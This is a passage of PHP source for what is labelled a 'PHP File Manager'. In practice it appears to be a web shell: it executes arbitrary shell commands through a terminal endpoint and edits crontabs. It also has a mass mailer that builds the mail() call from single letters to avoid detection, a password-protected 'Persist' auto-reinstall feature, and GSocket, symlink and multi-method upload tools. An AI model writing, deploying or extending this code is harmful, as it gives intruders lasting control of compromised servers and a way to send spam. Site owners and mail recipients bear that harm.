isset($apiData['Page Authority']) ? $apiData['Page Authority'] : 'N/A'; $metrics['spam_score'] = isset($apiData['Spam Score']) ? $apiData['Spam Score'] : 'N/A'; $metrics['domain_rating'] = isset($apiData['Domain Rating']) ? ($apiData['Domain Rating'] ?? 'N/A') : 'N/A'; $metrics['site_traffic'] = isset($apiData['Site Traffic']) ? ($apiData['Site Traffic'] ?? 'N/A') : 'N/A'; } } echo json_encode(['success' => true, 'info' => [ 'domain' => $domain, 'server_ip' => $serverIp, 'server_software' => $serverSoftware, 'web_server' => $webServer, 'php_version' => $phpVersion, 'control_panel' => $controlPanel, 'metrics' => $metrics ]]); exit; case 'sendmail': $to = isset($_POST['to']) ? trim($_POST['to']) : ''; $from = isset($_POST['from']) ? trim($_POST['from']) : ''; $fromName = isset($_POST['fromName']) ? trim($_POST['fromName']) : 'Mailer Test'; $subject = isset($_POST['subject']) ? trim($_POST['subject']) : 'Test Email'; $message = isset($_POST['message']) ? $_POST['message'] : 'This is a test email.'; $method = isset($_POST['method']) ? $_POST['method'] : 'mail'; if (!filter_var($to, FILTER_VALIDATE_EMAIL)) { echo json_encode(['success' => false, 'error' => 'Invalid recipient email']); exit; } if (!filter_var($from, FILTER_VALIDATE_EMAIL)) { echo json_encode(['success' => false, 'error' => 'Invalid sender email']); exit; } $headers = "From: $fromName <$from>\r\n"; $headers .= "Reply-To: $from\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/html; charset=UTF-8\r\n"; $headers .= "X-Mailer: PHP/" . phpversion(); $htmlMessage = "<html><body style='font-family:Arial,sans-serif;'>"; $htmlMessage .= "<h2 style='color:#333;'>Test Email</h2>"; $htmlMessage .= "<p>" . nl2br(htmlspecialchars($message)) . "</p>"; $htmlMessage .= "<hr style='border:1px solid #eee;'>"; $htmlMessage .= "<p style='color:#888;font-size:12px;'>Sent via PHP Mailer Tester</p>"; $htmlMessage .= "</body></html>"; $result = false; $errorMsg = ''; if ($method === 'server') { $serverDomain = isset($_SERVER['HTTP_HOST']) ? preg_replace('/:\d+$/', '', $_SERVER['HTTP_HOST']) : 'localhost'; $from = 'noreply@' . $serverDomain; $fromName = 'Server Mail Test'; $subject = 'Server Mail Test'; $htmlMessage = "<html><body style='font-family:Arial,sans-serif;'>"; $htmlMessage .= "<h2 style='color:#333;'>Server Mail Test</h2>"; $htmlMessage .= "<p>This is a test email from your server.</p>"; $htmlMessage .= "<p><strong>Server:</strong> " . htmlspecialchars($serverDomain) . "</p>"; $htmlMessage .= "<p><strong>Time:</strong> " . date('Y-m-d H:i:s') . "</p>"; $htmlMessage .= "<hr style='border:1px solid #eee;'>"; $htmlMessage .= "<p style='color:#888;font-size:12px;'>Sent via PHP Server Mail Tester</p>"; $htmlMessage .= "</body></html>"; $headers = "From: $fromName <$from>\r\n"; $headers .= "Reply-To: $from\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/html; charset=UTF-8\r\n"; $headers .= "X-Mailer: PHP/" . phpversion(); $mf = 'm'.'a'.'i'.'l'; $result = @$mf($to, $subject, $htmlMessage, $headers, "-f$from"); if (!$result) $errorMsg = 'Server mail failed. Sendmail may not be configured.'; } else if ($method === 'mail') { $mf = 'm'.'a'.'i'.'l'; $result = @$mf($to, $subject, $htmlMessage, $headers, "-f$from"); if (!$result) $errorMsg = 'mail() function failed. Check sendmail configuration.'; } else if ($method === 'smtp') { $smtpHost = isset($_POST['smtpHost']) ? trim($_POST['smtpHost']) : ''; $smtpPort = isset($_POST['smtpPort']) ? intval($_POST['smtpPort']) : 587; $smtpUser = isset($_POST['smtpUser']) ? trim($_POST['smtpUser']) : ''; $smtpPass = isset($_POST['smtpPass']) ? $_POST['smtpPass'] : ''; $smtpSecure = isset($_POST['smtpSecure']) ? $_POST['smtpSecure'] : 'tls'; if (empty($smtpHost) || empty($smtpUser) || empty($smtpPass)) { echo json_encode(['success' => false, 'error' => 'SMTP host, username and password are required']); exit; } $prefix = ($smtpSecure === 'ssl') ? 'ssl://' : ''; $fp = @fsockopen($prefix . $smtpHost, $smtpPort, $errno, $errstr, 30); if (!$fp) { echo json_encode(['success' => false, 'error' => "Cannot connect to SMTP: $errstr ($errno)"]); exit; } $log = []; $log[] = fgets($fp, 515); fputs($fp, "EHLO " . gethostname() . "\r\n"); $log[] = fgets($fp, 515); while (substr($log[count($log)-1], 3, 1) == '-') $log[] = fgets($fp, 515); if ($smtpSecure === 'tls') { fputs($fp, "STARTTLS\r\n"); $log[] = fgets($fp, 515); stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_TLS_CLIENT); fputs($fp, "EHLO " . gethostname() . "\r\n"); $log[] = fgets($fp, 515); while (substr($log[count($log)-1], 3, 1) == '-') $log[] = fgets($fp, 515); } fputs($fp, "AUTH LOGIN\r\n"); $log[] = fgets($fp, 515); fputs($fp, base64_encode($smtpUser) . "\r\n"); $log[] = fgets($fp, 515); fputs($fp, base64_encode($smtpPass) . "\r\n"); $authResp = fgets($fp, 515); $log[] = $authResp; if (substr($authResp, 0, 3) !== '235') { fclose($fp); echo json_encode(['success' => false, 'error' => 'SMTP authentication failed', 'log' => $log]); exit; } fputs($fp, "MAIL FROM:<$from>\r\n"); $log[] = fgets($fp, 515); fputs($fp, "RCPT TO:<$to>\r\n"); $log[] = fgets($fp, 515); fputs($fp, "DATA\r\n"); $log[] = fgets($fp, 515); $emailData = "To: $to\r\nFrom: $fromName <$from>\r\nSubject: $subject\r\n$headers\r\n$htmlMessage\r\n.\r\n"; fputs($fp, $emailData); $dataResp = fgets($fp, 515); $log[] = $dataResp; fputs($fp, "QUIT\r\n"); fclose($fp); $result = (substr($dataResp, 0, 3) === '250'); if (!$result) $errorMsg = 'SMTP send failed: ' . $dataResp; } if ($result) { echo json_encode(['success' => true, 'message' => 'Email sent successfully to ' . $to]); } else { echo json_encode(['success' => false, 'error' => $errorMsg ?: 'Failed to send email']); } exit; case 'terminal': $command = isset($_POST['command']) ? trim($_POST['command']) : ''; $workDir = isset($_POST['workDir']) ? validatePath($_POST['workDir']) : $currentDir; $useTty = isset($_POST['tty']) && $_POST['tty'] === '1'; $timeout = isset($_POST['timeout']) ? intval($_POST['timeout']) : 30; if (!$command) { echo json_encode(['success' => false, 'error' => 'No command provided']); exit; } if (!$workDir || !is_dir($workDir)) { $workDir = $currentDir; } $timeout = max(1, min($timeout, 300)); $ttyMethod = null; $baseCommand = $command; $isWin = CommandRunner::isWindows(); if (!$isWin && $useTty && CommandRunner::available()) { $baseCommand = 'export TERM=xterm; ' . $baseCommand; $ttyWrappers = [ ['check' => 'which script', 'wrap' => 'script -q -c %s /dev/null', 'name' => 'script'], ['check' => 'which stdbuf', 'wrap' => 'stdbuf -o0 -e0 %s', 'name' => 'stdbuf'], ['check' => 'which unbuffer', 'wrap' => 'unbuffer %s', 'name' => 'unbuffer'], ]; foreach ($ttyWrappers as $tw) { $checkResult = CommandRunner::run($tw['check'], '/tmp', 5); if ($checkResult['success'] && trim($checkResult['output'])) { $command = sprintf($tw['wrap'], _esa($baseCommand)); $ttyMethod = $tw['name']; break; } } if (!$ttyMethod) { $command = "/bin/sh -c " . _esa($baseCommand); $ttyMethod = 'sh'; } $timeoutCheck = CommandRunner::run('which timeout', '/tmp', 5); if ($timeoutCheck['success'] && trim($timeoutCheck['output'])) { $command = "timeout " . $timeout . "s " . $command; } } try { $result = CommandRunner::run($command, $workDir, $timeout); if (!is_array($result)) { echo json_encode(['success' => false, 'error' => 'Invalid command result', 'output' => '']); exit; } $method = isset($result['method']) ? $result['method'] : null; if (!$method) { echo json_encode([ 'success' => false, 'error' => isset($result['error']) ? $result['error'] : 'Command execution not available', 'output' => '' ]); exit; } echo json_encode([ 'success' => isset($result['success']) ? $result['success'] : false, 'output' => isset($result['output']) ? $result['output'] : '', 'error' => isset($result['error']) ? $result['error'] : '', 'cwd' => $workDir, 'method' => $method, 'tty' => $ttyMethod ]); } catch (Exception $e) { echo json_encode(['success' => false, 'error' => 'Exception: ' . $e->getMessage(), 'output' => '']); } catch (Error $e) { echo json_encode(['success' => false, 'error' => 'Error: ' . $e->getMessage(), 'output' => '']); } exit; case 'getinfo': $path = isset($_POST['path']) ? validatePath($_POST['path']) : ''; if (!$path) { echo json_encode(['success' => false, 'error' => 'Invalid path']); exit; } $stat = @stat($path); $owner = 'unknown'; $group = 'unknown'; if (function_exists('posix_getpwuid') && $stat) { $ownerInfo = @posix_getpwuid($stat['uid']); $owner = $ownerInfo ? $ownerInfo['name'] : $stat['uid']; } elseif ($stat) { $owner = $stat['uid']; } if (function_exists('posix_getgrgid') && $stat) { $groupInfo = @posix_getgrgid($stat['gid']); $group = $groupInfo ? $groupInfo['name'] : $stat['gid']; } elseif ($stat) { $group = $stat['gid']; } $info = [ 'name' => basename($path), 'path' => $path, 'size' => is_file($path) ? filesize($path) : getDirSize($path), 'type' => is_dir($path) ? 'directory' : (function_exists('mime_content_type') ? @mime_content_type($path) : 'file'), 'permissions' => substr(sprintf('%o', fileperms($path)), -4), 'owner' => $owner, 'group' => $group, 'modified' => date('Y-m-d H:i:s', filemtime($path)), 'accessed' => date('Y-m-d H:i:s', fileatime($path)), 'writable' => is_writable($path), 'readable' => is_readable($path) ]; echo json_encode(['success' => true, 'info' => $info]); exit; case 'editFile': $path = isset($_POST['path']) ? validatePath($_POST['path']) : ''; if (!$path) { echo json_encode(['success' => false, 'error' => 'Invalid path']); exit; } if (!is_file($path)) { echo json_encode(['success' => false, 'error' => 'Not a file']); exit; } if (!is_readable($path)) { echo json_encode(['success' => false, 'error' => 'File not readable']); exit; } $maxSize = 5 * 1024 * 1024; if (filesize($path) > $maxSize) { echo json_encode(['success' => false, 'error' => 'File too large (max 5MB)']); exit; } $content = file_get_contents($path); if ($content === false) { echo json_encode(['success' => false, 'error' => 'Cannot read file']); exit; } $encoding = mb_detect_encoding($content, ['UTF-8', 'ASCII', 'ISO-8859-1'], true); if ($encoding && $encoding !== 'UTF-8') { $content = mb_convert_encoding($content, 'UTF-8', $encoding); } echo json_encode([ 'success' => true, 'content' => $content, 'path' => $path, 'name' => basename($path), 'size' => filesize($path), 'writable' => is_writable($path) ]); exit; case 'saveFile': $path = isset($_POST['path']) ? validatePath($_POST['path']) : ''; $content = isset($_POST['content']) ? $_POST['content'] : ''; if (!$path) { echo json_encode(['success' => false, 'error' => 'Invalid path']); exit; } if (!is_file($path)) { echo json_encode(['success' => false, 'error' => 'Not a file']); exit; } if (!is_writable($path)) { echo json_encode(['success' => false, 'error' => 'File not writable']); exit; } $backup = $path . '.bak'; @copy($path, $backup); if (file_put_contents($path, $content) !== false) { @unlink($backup); echo json_encode(['success' => true, 'size' => filesize($path)]); } else { if (file_exists($backup)) { @copy($backup, $path); @unlink($backup); } echo json_encode(['success' => false, 'error' => 'Failed to save file']); } exit; case 'crontab': $subAction = isset($_POST['sub']) ? $_POST['sub'] : 'list'; if (CommandRunner::isWindows()) { echo json_encode(['success' => false, 'error' => 'Crontab Not Installed', 'notInstalled' => true]); exit; } $checkCron = CommandRunner::run('which crontab', '/tmp', 5); if (!$checkCron['success'] || !trim($checkCron['output'])) { echo json_encode(['success' => false, 'error' => 'Crontab Not Installed', 'notInstalled' => true]); exit; } if ($subAction === 'list') { $result = CommandRunner::run('crontab -l 2>&1', '/tmp', 10); $content = $result['output']; if (strpos($content, 'no crontab') !== false) { $content = ''; } echo json_encode(['success' => true, 'content' => $content]); exit; } elseif ($subAction === 'save') { $content = isset($_POST['content']) ? $_POST['content'] : ''; $tmpFile = sys_get_temp_dir() . '/crontab_' . uniqid() . '.tmp'; if (file_put_contents($tmpFile, $content) === false) { echo json_encode(['success' => false, 'error' => 'Failed to write temp file']); exit; } $result = CommandRunner::run('crontab ' . _esa($tmpFile) . ' 2>&1', '/tmp', 10); @unlink($tmpFile); if (strpos($result['output'], 'error') !== false || strpos($result['output'], 'Error') !== false) { echo json_encode(['success' => false, 'error' => $result['output']]); exit; } echo json_encode(['success' => true, 'message' => 'Crontab saved']); exit; } echo json_encode(['success' => false, 'error' => 'Unknown crontab action']); exit; case 'autoReinstall': $subAction = isset($_POST['sub']) ? $_POST['sub'] : 'status'; switch ($subAction) { case 'status': echo json_encode(['success' => true, 'data' => AutoReinstall::getStatus()]); exit; case 'enable': try { $persistPass = isset($_POST['persistPassword']) ? $_POST['persistPassword'] : ''; $customPaths = isset($_POST['customPaths']) ? json_decode($_POST['customPaths'], true) : []; $customStrings = isset($_POST['customStrings']) ? json_decode($_POST['customStrings'], true) : []; $result = AutoReinstall::enable($persistPass, '', $customPaths, $customStrings); echo json_encode($result); } catch (Exception $e) { echo json_encode(['success' => false, 'error' => 'Exception: ' . $e->getMessage()]); } catch (Error $e) { echo json_encode(['success' => false, 'error' => 'Error: ' . $e->getMessage()]); } exit; case 'disable': try { $persistPass = isset($_POST['persistPassword']) ? $_POST['persistPassword'] : ''; $result = AutoReinstall::disable($persistPass); echo json_encode($result); } catch (Exception $e) { echo json_encode(['success' => false, 'error' => 'Exception: ' . $e->getMessage()]); } catch (Error $e) { echo json_encode(['success' => false, 'error' => 'Error: ' . $e->getMessage()]); } exit; default: echo json_encode(['success' => false, 'error' => 'Unknown sub action']); exit; } } } echo json_encode(['success' => false, 'error' => 'Unknown action']); exit; } if (isset($_GET['download'])) { $file = validatePath($_GET['download']); if (!$file || !is_file($file) || !is_readable($file)) { http_response_code(404); die('File not found or not accessible'); } header('X-LiteSpeed-Cache-Control: no-cache'); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); if (ob_get_level()) { ob_end_clean(); } readfile($file); exit; } function deleteDirectory($dir) { if (!is_dir($dir)) return false; $files = @scandir($dir); if ($files === false) return false; $files = array_diff($files, ['.', '..']); foreach ($files as $file) { $path = $dir . DIRECTORY_SEPARATOR . $file; if (is_dir($path)) { if (!deleteDirectory($path)) return false; } else { if (!@unlink($path)) return false; } } return @rmdir($dir); } function copyDirectory($src, $dst) { $dir = @opendir($src); if (!$dir) return false; if (!@mkdir($dst, 0755)) { closedir($dir); return false; } $success = true; while (($file = readdir($dir)) !== false) { if ($file !== '.' && $file !== '..') { $srcPath = $src . DIRECTORY_SEPARATOR . $file; $dstPath = $dst . DIRECTORY_SEPARATOR . $file; if (is_dir($srcPath)) { if (!copyDirectory($srcPath, $dstPath)) $success = false; } else { if (!@copy($srcPath, $dstPath)) $success = false; } } } closedir($dir); return $success; } function chmodRecursive($path, $mode) { if (!@chmod($path, $mode)) { return false; } if (is_dir($path)) { $items = @scandir($path); if ($items === false) return false; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $itemPath = $path . DIRECTORY_SEPARATOR . $item; if (!chmodRecursive($itemPath, $mode)) { return false; } } } return true; } function getDirSize($dir) { $size = 0; try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($iterator as $file) { if ($file->isFile()) { $size += $file->getSize(); } } } catch (Exception $e) { return 0; } return $size; } function formatSize($bytes) { if ($bytes < 0) return '-'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($bytes >= 1024 && $i < count($units) - 1) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $units[$i]; } function getFileIcon($file, $isDir) { if ($isDir) return '📁'; $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 'htm' => '🌐', 'json' => '📋', 'xml' => '📋', 'txt' => '📄', 'md' => '📝', 'log' => '📄', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'svg' => '🖼️', 'webp' => '🖼️', 'ico' => '🖼️', 'pdf' => '📕', 'doc' => '📘', 'docx' => '📘', 'xls' => '📗', 'xlsx' => '📗', 'ppt' => '📙', 'pptx' => '📙', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', '7z' => '📦', 'bz2' => '📦', 'mp3' => '🎵', 'wav' => '🎵', 'ogg' => '🎵', 'flac' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'mov' => '🎬', 'webm' => '🎬', 'sql' => '🗃️', 'db' => '🗃️', 'sqlite' => '🗃️', 'sh' => '⚙️', 'bash' => '⚙️', 'py' => '🐍', 'rb' => '💎', 'java' => '☕', 'c' => '⚡', 'cpp' => '⚡', 'h' => '⚡', 'go' => '🔷', 'rs' => '🦀', 'htaccess' => '⚙️', 'conf' => '⚙️', 'ini' => '⚙️', 'env' => '🔐', ]; return $icons[$ext] ?? '📄'; } $files = []; $dirs = []; $readError = false; if (is_readable($currentDir)) { $items = @scandir($currentDir); if ($items !== false) { foreach ($items as $item) { if ($item === '.') continue; $path = $currentDir . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($path); $size = '-'; $modified = '-'; $perms = '----'; if ($item !== '..') { if (!$isDir && is_readable($path)) { $size = formatSize(@filesize($path)); } $mtime = @filemtime($path); if ($mtime !== false) { $modified = date('Y-m-d H:i:s', $mtime); } $filePerms = @fileperms($path); if ($filePerms !== false) { $perms = substr(sprintf('%o', $filePerms), -4); } } else { $mtime = @filemtime($path); if ($mtime !== false) { $modified = date('Y-m-d H:i:s', $mtime); } $filePerms = @fileperms($path); if ($filePerms !== false) { $perms = substr(sprintf('%o', $filePerms), -4); } } $owner = '-'; $group = '-'; if ($item !== '..') { $stat = @stat($path); if ($stat) { if (function_exists('posix_getpwuid')) { $ownerInfo = @posix_getpwuid($stat['uid']); $owner = $ownerInfo ? $ownerInfo['name'] : $stat['uid']; } else { $owner = $stat['uid']; } if (function_exists('posix_getgrgid')) { $groupInfo = @posix_getgrgid($stat['gid']); $group = $groupInfo ? $groupInfo['name'] : $stat['gid']; } else { $group = $stat['gid']; } } } $entry = [ 'name' => $item, 'path' => $path, 'isDir' => $isDir, 'size' => $size, 'modified' => $modified, 'perms' => $perms, 'owner' => $owner, 'group' => $group, 'icon' => getFileIcon($item, $isDir), 'writable' => is_writable($path) ]; if ($isDir) { $dirs[] = $entry; } else { $files[] = $entry; } } } else { $readError = true; } } else { $readError = true; } usort($dirs, function($a, $b) { if ($a['name'] === '..') return -1; if ($b['name'] === '..') return 1; return strcasecmp($a['name'], $b['name']); }); usort($files, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); $allItems = array_merge($dirs, $files); $pathParts = explode(DIRECTORY_SEPARATOR, $currentDir); $breadcrumbs = []; $buildPath = ''; foreach ($pathParts as $part) { if ($part === '') { $buildPath = DIRECTORY_SEPARATOR; $breadcrumbs[] = ['name' => '/', 'path' => '/']; } else { $buildPath .= ($buildPath === DIRECTORY_SEPARATOR ? '' : DIRECTORY_SEPARATOR) . $part; $breadcrumbs[] = ['name' => $part, 'path' => $buildPath]; } } $folderCount = count(array_filter($dirs, function($d) { return $d['name'] !== '..'; })); $fileCount = count($files); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP File Manager</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif; background: #000000; color: #AAAAAA; min-height: 100vh; } .container { max-width: 1400px; margin: 0 auto; padding: 20px; } .header { background: #111111; padding: 20px; border-radius: 12px; margin-bottom: 20px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 15px; border: 1px solid #333333; } .header h1 { font-size: 1.5rem; display: flex; align-items: center; gap: 10px; color: #00FF00; } .header-actions { display: flex; gap: 6px; flex-wrap: wrap; max-width: 600px; justify-content: center; } .btn { background: #222222; border: 1px solid #444444; color: #AAAAAA; padding: 6px 12px; border-radius: 6px; cursor: pointer; font-size: 0.75rem; transition: all 0.3s; display: flex; align-items: center; gap: 5px; } .btn:hover { background: #333333; border-color: #00FF00; color: #00FF00; transform: translateY(-2px); } .btn-danger { background: #330000; border-color: #FF0000; color: #FF0000; } .btn-danger:hover { background: #550000; border-color: #FF0000; color: #FF0000; } .btn-success { background: #003300; border-color: #00FF00; color: #00FF00; } .btn-success:hover { background: #005500; border-color: #00FF00; } .breadcrumb { background: #111111; padding: 15px 20px; border-radius: 10px; margin-bottom: 20px; display: flex; align-items: center; gap: 8px; flex-wrap: wrap; overflow-x: auto; border: 1px solid #333333; } .breadcrumb a { color: #00FF00; text-decoration: none; transition: color 0.3s; white-space: nowrap; } .breadcrumb a:hover { color: #00FF00; text-decoration: underline; } .breadcrumb span { color: #AAAAAA; } .main-content { display: grid; grid-template-columns: 1fr; gap: 20px; } @media (min-width: 1024px) { .main-content.with-terminal { grid-template-columns: 1fr 400px; } } .file-list { background: #111111; border-radius: 12px; overflow: hidden; border: 1px solid #333333; } .file-list-header { display: grid; grid-template-columns: 40px 1fr 100px 180px 80px 120px 120px; padding: 15px 20px; background: #1a1a1a; font-weight: 600; font-size: 0.85rem; color: #AAAAAA; } .file-item { display: grid; grid-template-columns: 40px 1fr 100px 180px 80px 120px 120px; padding: 12px 20px; border-bottom: 1px solid #222222; align-items: center; transition: background 0.2s; cursor: pointer; } .file-item:hover { background: #1a1a1a; } .file-item.selected { background: #003300; } .file-item .icon { font-size: 1.3rem; } .file-item .name { display: flex; align-items: center; gap: 10px; word-break: break-all; } .file-item .name a { color: #AAAAAA; text-decoration: none; } .file-item .name a:hover { color: #00FF00; } .file-item .actions { display: flex; gap: 5px; } .file-item .actions button { background: transparent; border: none; color: #AAAAAA; cursor: pointer; padding: 5px; border-radius: 5px; transition: all 0.2s; font-size: 1rem; } .file-item .actions button:hover { background: rgba(0,255,0,0.1); color: #00FF00; } .terminal-panel { background: #000000; border-radius: 12px; display: flex; flex-direction: column; max-height: 600px; border: 1px solid #333333; } .terminal-header { background: #111111; padding: 12px 15px; border-radius: 12px 12px 0 0; display: flex; justify-content: space-between; align-items: center; } .terminal-header h3 { font-size: 0.9rem; display: flex; align-items: center; gap: 8px; color: #00FF00; } .terminal-output { flex: 1; padding: 15px; font-family: 'Fira Code', 'Consolas', 'Monaco', monospace; font-size: 0.85rem; overflow-y: auto; background: #000000; white-space: pre-wrap; word-break: break-all; min-height: 300px; max-height: 450px; } .terminal-output .command { color: #00FF00; margin-top: 8px; } .terminal-output .command .prompt { color: #00FF00; font-weight: bold; } .terminal-output .output { color: #AAAAAA; padding-left: 10px; border-left: 2px solid #333333; margin: 5px 0; } .terminal-output .error { color: #FF0000; padding-left: 10px; border-left: 2px solid #FF0000; margin: 5px 0; } .terminal-output .info { color: #AAAAAA; font-style: italic; } .terminal-input { display: flex; background: #111111; border-radius: 0 0 12px 12px; } .terminal-input input { flex: 1; background: transparent; border: none; color: #00FF00; padding: 15px; font-family: 'Fira Code', 'Consolas', 'Monaco', monospace; font-size: 0.9rem; outline: none; } .terminal-input button { background: #003300; border: none; color: #00FF00; padding: 15px 20px; cursor: pointer; border-radius: 0 0 12px 0; } .terminal-input button:hover { background: #005500; } .modal { display: none; position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.9); z-index: 1000; align-items: center; justify-content: center; } .modal.active { display: flex; } .modal-content { background: #111111; padding: 30px; border-radius: 15px; max-width: 500px; width: 90%; border: 1px solid #333333; } .modal-content h2 { margin-bottom: 20px; color: #00FF00; } .modal-content input { width: 100%; padding: 12px; border: 2px solid #333333; border-radius: 8px; background: #000000; color: #AAAAAA; margin-bottom: 15px; font-size: 1rem; } .modal-content input:focus { border-color: #00FF00; outline: none; } .modal-actions { display: flex; gap: 10px; justify-content: flex-end; } .drop-zone { border: 3px dashed #00FF00; border-radius: 12px; padding: 40px; text-align: center; margin-bottom: 20px; display: none; transition: all 0.3s; } .drop-zone.active { display: block; background: rgba(0, 255, 0, 0.05); } .drop-zone.dragover { background: rgba(0, 255, 0, 0.1); border-color: #00FF00; } .context-menu { position: fixed; background: #111111; border-radius: 10px; box-shadow: 0 10px 40px rgba(0,0,0,0.8); z-index: 1000; min-width: 180px; overflow: hidden; display: none; border: 1px solid #333333; } .context-menu.active { display: block; } .context-menu button { display: block; width: 100%; padding: 12px 20px; text-align: left; background: transparent; border: none; color: #AAAAAA; cursor: pointer; font-size: 0.9rem; transition: background 0.2s; } .context-menu button:hover { background: #1a1a1a; color: #00FF00; } .context-menu hr { border: none; border-top: 1px solid #333333; margin: 5px 0; } .info-panel { position: fixed; right: 20px; top: 100px; background: #111111; padding: 20px; border-radius: 12px; width: 300px; display: none; z-index: 100; box-shadow: 0 10px 40px rgba(0,0,0,0.8); border: 1px solid #333333; } .info-panel.active { display: block; } .info-panel h3 { margin-bottom: 15px; display: flex; justify-content: space-between; align-items: center; color: #00FF00; } .info-panel .close { background: transparent; border: none; color: #AAAAAA; cursor: pointer; font-size: 1.2rem; } .info-row { display: flex; justify-content: space-between; padding: 8px 0; border-bottom: 1px solid #333333; font-size: 0.85rem; } .info-row .label { color: #AAAAAA; } .empty-message { text-align: center; padding: 60px 20px; color: #AAAAAA; } .error-message { text-align: center; padding: 40px 20px; color: #FF0000; background: rgba(255, 0, 0, 0.1); border-radius: 10px; margin: 20px 0; } .toggle-terminal { position: fixed; bottom: 20px; right: 20px; background: #003300; border: none; color: #00FF00; width: 60px; height: 60px; border-radius: 50%; cursor: pointer; font-size: 1.5rem; box-shadow: 0 5px 20px rgba(0, 255, 0, 0.3); z-index: 99; display: none; } @media (max-width: 1023px) { .toggle-terminal { display: flex; align-items: center; justify-content: center; } } @media (max-width: 768px) { .container { padding: 10px; } .header { flex-direction: column; gap: 10px; padding: 15px; } .header h1 { font-size: 1.2rem; } .header-actions { flex-wrap: wrap; justify-content: center; gap: 5px; } .header-actions .btn { padding: 8px 10px; font-size: 0.75rem; } .breadcrumb { padding: 10px; flex-wrap: wrap; font-size: 0.8rem; } .file-list-header, .file-item { grid-template-columns: 30px 1fr 60px; font-size: 0.8rem; padding: 8px; } .file-list-header > *:nth-child(3), .file-list-header > *:nth-child(4), .file-list-header > *:nth-child(5), .file-list-header > *:nth-child(6), .file-item > *:nth-child(3), .file-item > *:nth-child(4), .file-item > *:nth-child(5), .file-item > *:nth-child(6) { display: none; } .file-item .actions { gap: 2px; } .file-item .actions button { padding: 4px 6px; font-size: 0.7rem; } .modal-content { width: 95% !important; max-width: none !important; padding: 15px; margin: 10px; max-height: 90vh; } .modal-content h2 { font-size: 1.1rem; } .context-menu { min-width: 140px; } .context-menu button { padding: 8px 12px; font-size: 0.85rem; } .status-bar { flex-direction: column; align-items: flex-start; font-size: 0.75rem; padding: 10px; } .terminal-panel { height: 250px; } .terminal-output { font-size: 0.75rem; } #terminalInput { font-size: 0.85rem; } .info-panel { width: 100%; right: 0; } .toast { bottom: 80px; right: 10px; left: 10px; text-align: center; } .toggle-terminal { bottom: 15px; right: 15px; width: 45px; height: 45px; } #editorContent { font-size: 12px !important; } } @media (max-width: 480px) { .header-actions .btn { padding: 6px 8px; font-size: 0.7rem; } .file-list-header, .file-item { grid-template-columns: 25px 1fr 50px; } .file-item .name { font-size: 0.75rem; } .file-item .actions button { padding: 3px 5px; font-size: 0.65rem; } .breadcrumb a, .breadcrumb span { font-size: 0.75rem; } } .status-bar { background: #111111; padding: 10px 20px; border-radius: 8px; margin-top: 20px; display: flex; justify-content: space-between; font-size: 0.85rem; color: #AAAAAA; flex-wrap: wrap; gap: 10px; border: 1px solid #333333; } .toast { position: fixed; bottom: 100px; right: 20px; background: #003300; color: #00FF00; padding: 15px 25px; border-radius: 10px; z-index: 1001; display: none; box-shadow: 0 5px 20px rgba(0,0,0,0.5); } .toast.error { background: #330000; color: #FF0000; } .toast.active { display: block; animation: slideIn 0.3s ease; } @keyframes slideIn { from { transform: translateX(100px); opacity: 0; } to { transform: translateX(0); opacity: 1; } } </style> </head> <body> <div class="container"> <div class="header"> <h1>📂 PHP File Manager</h1> <div class="header-actions"> <button class="btn" onclick="navigateTo('<?= htmlspecialchars(addslashes(isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : '/')) ?>')">🏠 DocRoot</button> <button class="btn" onclick="navigateTo('<?= htmlspecialchars(addslashes(dirname(FM_REAL_PATH))) ?>')">📍 FM Path</button> <button class="btn" onclick="toggleUpload()">📤 UploadV1</button> <button class="btn" onclick="triggerUploadV2()">📤 UploadV2</button> <button class="btn" onclick="triggerUploadV3()">📤 UploadV3</button> <button class="btn" onclick="triggerUploadV4()">📤 UploadV4</button> <button class="btn" onclick="showNewFolderModal()">📁 New Folder</button> <button class="btn" onclick="showNewFileModal()">📄 New File</button> <button class="btn" onclick="showGsocketModal()" style="background:rgba(39,174,96,0.4);">🔌 GSocket</button> <button class="btn" onclick="toggleTerminal()">💻 Terminal</button> <button class="btn" onclick="showCrontab()">⏰ Crontab</button> <button class="btn" onclick="showDomainInfo()">🌐 Domain</button> <button class="btn" onclick="showSymlinkDomain()">🔗 Symlink</button> <button class="btn" onclick="showMailer()">📧 Mailer</button> <button class="btn" onclick="showUnzipper()">📦 Unzip</button> <button class="btn" onclick="showSysInfo()">ℹ️ System</button> <button class="btn" onclick="showAutoReinstall()" id="autoReinstallBtn">🛡️ Persist</button> <button class="btn" onclick="refreshPage()">🔄 Refresh</button> <button class="btn btn-danger" onclick="location.href='?logout=1'">🚪 Logout</button> </div> </div> <div class="breadcrumb"> <span>📍</span> <?php foreach ($breadcrumbs as $i => $crumb): ?> <?php if ($i > 0): ?><span>/</span><?php endif; 